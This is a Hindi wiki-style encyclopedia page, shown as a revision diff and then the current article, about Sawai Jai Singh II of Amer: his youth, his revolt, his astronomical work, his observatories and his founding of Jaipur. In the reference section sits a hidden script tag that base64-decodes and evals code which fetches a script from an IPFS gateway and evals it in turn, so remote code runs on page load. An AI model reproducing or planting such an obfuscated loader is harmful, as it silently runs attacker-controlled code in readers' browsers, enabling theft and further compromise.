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− | '''सवाई जयसिंह''' [[आमेर]] का वीर और बहुत ही कूटनीतिज्ञ राजा था। उसे 'जयसिंह द्वितीय' के नाम से भी जाना जाता है। [[ | + | {{सूचना बक्सा ऐतिहासिक पात्र |
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+ | '''सवाई जयसिंह''' ([[अंग्रेज़ी]]: ''Jai Singh II'', जन्म- [[3 नवम्बर]], 1688 ई., [[आमेर]]; मृत्यु- [[21 सितम्बर]] 1743 ई.) [[आमेर]] का वीर और बहुत ही कूटनीतिज्ञ राजा था। उसे 'जयसिंह द्वितीय' के नाम से भी जाना जाता है। सवाई जयसिंह आरम्भ से ही विद्या-प्रेमी और धर्मानुरागी था। जयसिंह ने बचपन में ही अपनी विलक्षण प्रतिभा का परिचय देकर [[औरंगज़ेब]] जैसे कूटनीतिज्ञ और कट्टर बादशाह को भी प्रभावित कर दिया था। औरंगज़ेब ने अनुभव कर लिया था कि [[मुग़ल साम्राज्य]] की सत्ता बनाये रखने में जयसिंह का सहयोग प्राप्त करना अत्यंत आवश्यक है। जब औरंगज़ेब की मृत्यु हो और मुग़ल साम्राज्य में अव्यवस्था व्याप्त थी, इसी समय जयसिंह ने अपना बग़ावत का झंडा बुलन्द कर दिया। सवाई जयसिंह 44 [[वर्ष|वर्षों]] तक आमेर के राज्य सिंहासन पर रहा। | ||
+ | ==परिचय== | ||
+ | सवाई राजा जयसिंह (द्वितीय) का जन्म 3 नवम्बर, 1688 ई. को [[आमेर]] के महल में राजा बिशनसिंह की राठौड़ रानी इन्द्रकुंवरी के गर्भ से हुआ था। उस समय राजा बिशनसिंह की आयु केवल 16 वर्ष थी, अत: स्वाभाविक है कि राजा जयसिंह की माता की आयु और भी कम रही होगी। बालक (सवाई जयसिंह) का मूल नाम विजयसिंह था और छोटे भाई का नाम जयसिंह था। | ||
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+ | कहा जाता है कि जब विजयसिंह आठ वर्ष का था, उसे [[औरंगज़ेब]] से मिलवाया गया। जयसिंह [[अप्रॅल]] 1696 ई. में बादशाह के समक्ष प्रस्तुत हुआ। उसकी परीक्षा करने के विचार से बादशाह औरंगज़ेब ने उसके दोनों हाथ पकड़कर पूछा- ‘अब तू क्या कर सकता है?‘ बालक विजयसिंह ने बुद्धिमानी के साथ तुरन्त उत्तर दिया- ‘अब तो मैं बहुत कुछ कर सकता हूँ, क्योंकि जब पुरुष औरत का एक हाथ पकड़ लेता है, तब उस औरत को कुछ अधिकार प्राप्त हो जाता है। आप जैसे बड़े बादशाह ने तो मेरे दोनों हाथ पकड़ लिए हैं, अत: मैं तो सब से बढ़कर हो गया।’ उसके उत्तर से प्रसन्न होकर बादशाह ने कहा कि- 'यह बड़ा होशियार होगा, इसका नाम सवाई जयसिंह (अर्थात मिर्जा राजा जयसिंह से बढ़कर) रखना चाहिये।' तदनुसार बादशाह ने उसका नाम जयसिंह रखा और उसका असली नाम विजयसिंह उसके छोटे भाई को दिया।<ref>परन्तु तत्कालीन कागजातों से यह स्पष्ट है कि जयसिंह को 'सवाई' की उपाधि विधिवत रूप से पहली बार [[फ़र्रुख़सियर|फ़र्रुख़सियर]] के समय में सैयद हुसैन अली के प्रयत्नों से [[जुलाई]] 1713 ई. में मिली थी। वकील जगजीवनदास पंचौली ने पहली बार [[12 जुलाई]] 1713 ई. की रिपोर्ट में बादशाह फ़र्रुख़सियर द्वारा सवाई का पद दिये जाने की सूचना जयसिंह को दी थी। इससे यह ज्ञात होता है कि [[औरंगज़ेब]] का जयसिंह को ‘सवाई’ कहने का प्रसंग तो प्रचलित हो गया था, परन्तु सरकारी तौर से यह पदवी जयसिंह को नहीं मिली थी।</ref><ref>{{cite web |url=http://www.janprahari.com/yug-maker-sawai-jai-singh-330th-birth-anniversary-of-sawai-jai-singh-the-era-maker-of-jaipur/ |title=युग निर्माता सवाई जयसिंह |accessmonthday=25 अप्रॅल |accessyear=2018 |last= |first= |authorlink= |format= |publisher=janprahari.com |language= हिंदी}}</ref> | ||
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==स्थापत्य== | ==स्थापत्य== | ||
− | + | सवाई जयसिंह [[संस्कृत]] और [[फ़ारसी भाषा]] का विद्वान होने के साथ गणित और [[खगोल विज्ञान|खगोलशास्त्र]] का असाधारण पण्डित था। उसने 1725 ई. में [[नक्षत्र|नक्षत्रों]] की शुद्ध सारणी बनाई और उसका नाम तत्कालीन मुग़ल सम्राट के नाम पर '''जीजमुहम्मदशाही''' नाम रखा। उसने 'जयसिंह कारिका’ नामक ज्योतिष [[ग्रंथ]] की भी रचना की। सवाई जयसिंह की महान् देन [[जयपुर]] है, जिसकी उसने 1727 ई. में स्थापना की थी। जयपुर का वास्तुकार '''विद्याधर भट्टाचार्य''' था। नगर निर्माण के विचार से यह नगर [[भारत]] तथा [[यूरोप]] में अपने ढंग का अनूठा है, जिसकी समकालीन और वतर्मानकालीन विदेशी यात्रियों ने मुक्तकंठ से प्रशंसा की है। | |
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+ | जयपुर में जयसिंह ने सुदर्शनगढ़ ([[नाहरगढ़ क़िला जयपुर|नाहरगढ़]]) क़िले का निर्माण करवाया तथा [[जयगढ़ क़िला जयपुर|जयगढ़ क़िले]] में 'जयबाण' नामक तोप बनवाई। उसने [[दिल्ली]], [[जयपुर]], [[उज्जैन]], [[मथुरा]] और [[बनारस]] में पांच वेधशालाओं<ref>जन्तर-मन्तर</ref> का निर्माण [[ग्रह]]-[[नक्षत्र|नक्षत्रादि]] की [[गति]] को सही तौर से जानने के लिए करवाया। | ||
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+ | जयपुर के [[जन्तर मन्तर जयपुर|जन्तर-मन्तर]] में सवाई जयसिंह द्वारा निर्मित 'सूर्य घड़ी' है, जिसे 'सम्राट यंत्र' के नाम से जाना जाता है, जिसे दुनिया की सबसे बड़ी '''सूर्य घड़ी''' के रूप में प्रसिद्धि प्राप्त है। धर्मरक्षक होने के नाते सवाई जयसिंह ने [[वाजपेय यज्ञ|वाजपेय]], [[राजसूय यज्ञ|राजसूय]] आदि [[यज्ञ|यज्ञों]] का आयोजन किया था। वह अन्तिम [[हिन्दू]] नरेश था, जिसने भारतीय परम्परा के अनुकूल '[[अश्वमेध यज्ञ]] भी किया। इस प्रकार सवाई जयसिंह अपने शौर्य, बल, कूटनीति और विद्वता के कारण अपने समय का ख्याति प्राप्त व्यक्ति बन गया था, परन्तु वह [[युग]] के प्रचलित दोषों से ऊपर न उठ सका।<ref>{{cite web |url= http://rajasthanstudy.blogspot.in/2013/08/blog-post_12.html|title= आमेर का कछवाहा वंश|accessmonthday= 08 जून|accessyear= 2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | ||
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07:45, 29 दिसम्बर 2019 के समय का अवतरण
सवाई जयसिंह
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पूरा नाम | सवाई जयसिंह द्वितीय |
अन्य नाम | विजयसिंह (मूल नाम) |
जन्म | 3 नवम्बर, 1688 ई. |
जन्म भूमि | आमेर |
मृत्यु तिथि | 21 सितम्बर 1743 ई. |
पिता/माता | पिता- राजा बिशनसिंह माता- रानी इन्द्रकुंवरी |
धार्मिक मान्यता | हिन्दू |
प्रसिद्धि | राजपूत शासक |
संबंधित लेख | मुग़ल वंश, औरंगज़ेब, राजपूत साम्राज्य, राजपूत, राजपूताना, आमेर, राजस्थान का इतिहास |
विशेष | सवाई जयसिंह संस्कृत और फ़ारसी भाषा का विद्वान होने के साथ गणित और खगोलशास्त्र का असाधारण पण्डित था। |
अन्य जानकारी | सवाई जयसिंह मालवा और बाद में आगरा में बादशाह का प्रतिनिधि नियुक्त हुआ था। बाजीराव प्रथम के साथ उसके मैत्रीपूर्ण सम्बन्ध थे। मुग़ल साम्राज्य के खण्डहरों पर 'हिन्दू पद पादशाही' की स्थापना करने के पेशवा के लक्ष्य से उसे सहानुभूति थी। |
सवाई जयसिंह (अंग्रेज़ी: Jai Singh II, जन्म- 3 नवम्बर, 1688 ई., आमेर; मृत्यु- 21 सितम्बर 1743 ई.) आमेर का वीर और बहुत ही कूटनीतिज्ञ राजा था। उसे 'जयसिंह द्वितीय' के नाम से भी जाना जाता है। सवाई जयसिंह आरम्भ से ही विद्या-प्रेमी और धर्मानुरागी था। जयसिंह ने बचपन में ही अपनी विलक्षण प्रतिभा का परिचय देकर औरंगज़ेब जैसे कूटनीतिज्ञ और कट्टर बादशाह को भी प्रभावित कर दिया था। औरंगज़ेब ने अनुभव कर लिया था कि मुग़ल साम्राज्य की सत्ता बनाये रखने में जयसिंह का सहयोग प्राप्त करना अत्यंत आवश्यक है। जब औरंगज़ेब की मृत्यु हो और मुग़ल साम्राज्य में अव्यवस्था व्याप्त थी, इसी समय जयसिंह ने अपना बग़ावत का झंडा बुलन्द कर दिया। सवाई जयसिंह 44 वर्षों तक आमेर के राज्य सिंहासन पर रहा।
परिचय
सवाई राजा जयसिंह (द्वितीय) का जन्म 3 नवम्बर, 1688 ई. को आमेर के महल में राजा बिशनसिंह की राठौड़ रानी इन्द्रकुंवरी के गर्भ से हुआ था। उस समय राजा बिशनसिंह की आयु केवल 16 वर्ष थी, अत: स्वाभाविक है कि राजा जयसिंह की माता की आयु और भी कम रही होगी। बालक (सवाई जयसिंह) का मूल नाम विजयसिंह था और छोटे भाई का नाम जयसिंह था।
कहा जाता है कि जब विजयसिंह आठ वर्ष का था, उसे औरंगज़ेब से मिलवाया गया। जयसिंह अप्रॅल 1696 ई. में बादशाह के समक्ष प्रस्तुत हुआ। उसकी परीक्षा करने के विचार से बादशाह औरंगज़ेब ने उसके दोनों हाथ पकड़कर पूछा- ‘अब तू क्या कर सकता है?‘ बालक विजयसिंह ने बुद्धिमानी के साथ तुरन्त उत्तर दिया- ‘अब तो मैं बहुत कुछ कर सकता हूँ, क्योंकि जब पुरुष औरत का एक हाथ पकड़ लेता है, तब उस औरत को कुछ अधिकार प्राप्त हो जाता है। आप जैसे बड़े बादशाह ने तो मेरे दोनों हाथ पकड़ लिए हैं, अत: मैं तो सब से बढ़कर हो गया।’ उसके उत्तर से प्रसन्न होकर बादशाह ने कहा कि- 'यह बड़ा होशियार होगा, इसका नाम सवाई जयसिंह (अर्थात मिर्जा राजा जयसिंह से बढ़कर) रखना चाहिये।' तदनुसार बादशाह ने उसका नाम जयसिंह रखा और उसका असली नाम विजयसिंह उसके छोटे भाई को दिया।[1][2]
बग़ावत
औरंगज़ेब की मृत्यु के बाद जब मुग़ल साम्राज्य में अव्यवस्था फैल रही थी, तभी जयसिंह का नाम अचानक चमक उठा। उसने बहादुरशाह प्रथम के विरुद्ध बग़ावत का झण्डा बुलन्द कर दिया, परन्तु उसकी बग़ावत को दबा दिया गया और बादशाह ने भी उसे क्षमा कर दिया। वह मालवा में और बाद में आगरा में बादशाह का प्रतिनिधि नियुक्त हुआ। पेशवा बाजीराव प्रथम के साथ उसके मैत्रीपूर्ण सम्बन्ध थे। मुग़ल साम्राज्य के खण्डहरों पर 'हिन्दू पद पादशाही' की स्थापना करने के पेशवा के लक्ष्य से उसे सहानुभूति थी।
स्थापत्य
सवाई जयसिंह संस्कृत और फ़ारसी भाषा का विद्वान होने के साथ गणित और खगोलशास्त्र का असाधारण पण्डित था। उसने 1725 ई. में नक्षत्रों की शुद्ध सारणी बनाई और उसका नाम तत्कालीन मुग़ल सम्राट के नाम पर जीजमुहम्मदशाही नाम रखा। उसने 'जयसिंह कारिका’ नामक ज्योतिष ग्रंथ की भी रचना की। सवाई जयसिंह की महान् देन जयपुर है, जिसकी उसने 1727 ई. में स्थापना की थी। जयपुर का वास्तुकार विद्याधर भट्टाचार्य था। नगर निर्माण के विचार से यह नगर भारत तथा यूरोप में अपने ढंग का अनूठा है, जिसकी समकालीन और वतर्मानकालीन विदेशी यात्रियों ने मुक्तकंठ से प्रशंसा की है।
जयपुर में जयसिंह ने सुदर्शनगढ़ (नाहरगढ़) क़िले का निर्माण करवाया तथा जयगढ़ क़िले में 'जयबाण' नामक तोप बनवाई। उसने दिल्ली, जयपुर, उज्जैन, मथुरा और बनारस में पांच वेधशालाओं[3] का निर्माण ग्रह-नक्षत्रादि की गति को सही तौर से जानने के लिए करवाया।
जयपुर के जन्तर-मन्तर में सवाई जयसिंह द्वारा निर्मित 'सूर्य घड़ी' है, जिसे 'सम्राट यंत्र' के नाम से जाना जाता है, जिसे दुनिया की सबसे बड़ी सूर्य घड़ी के रूप में प्रसिद्धि प्राप्त है। धर्मरक्षक होने के नाते सवाई जयसिंह ने वाजपेय, राजसूय आदि यज्ञों का आयोजन किया था। वह अन्तिम हिन्दू नरेश था, जिसने भारतीय परम्परा के अनुकूल 'अश्वमेध यज्ञ भी किया। इस प्रकार सवाई जयसिंह अपने शौर्य, बल, कूटनीति और विद्वता के कारण अपने समय का ख्याति प्राप्त व्यक्ति बन गया था, परन्तु वह युग के प्रचलित दोषों से ऊपर न उठ सका।[4]
मृत्यु
आमेर पर 44 वर्ष तक राज्य करने के बाद 21 सितम्बर 1743 ई. में सवाई जयसिंह की मृत्यु हो गई। इसी के राज्यकाल में गुलाबी नगर जयपुर के रूप में नयी राजधानी की रचना हुई थी।
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टीका टिप्पणी और संदर्भ
भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 164 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ परन्तु तत्कालीन कागजातों से यह स्पष्ट है कि जयसिंह को 'सवाई' की उपाधि विधिवत रूप से पहली बार फ़र्रुख़सियर के समय में सैयद हुसैन अली के प्रयत्नों से जुलाई 1713 ई. में मिली थी। वकील जगजीवनदास पंचौली ने पहली बार 12 जुलाई 1713 ई. की रिपोर्ट में बादशाह फ़र्रुख़सियर द्वारा सवाई का पद दिये जाने की सूचना जयसिंह को दी थी। इससे यह ज्ञात होता है कि औरंगज़ेब का जयसिंह को ‘सवाई’ कहने का प्रसंग तो प्रचलित हो गया था, परन्तु सरकारी तौर से यह पदवी जयसिंह को नहीं मिली थी।
- ↑ युग निर्माता सवाई जयसिंह (हिंदी) janprahari.com। अभिगमन तिथि: 25 अप्रॅल, 2018।
- ↑ जन्तर-मन्तर
- ↑ आमेर का कछवाहा वंश (हिन्दी)। । अभिगमन तिथि: 08 जून, 2014।
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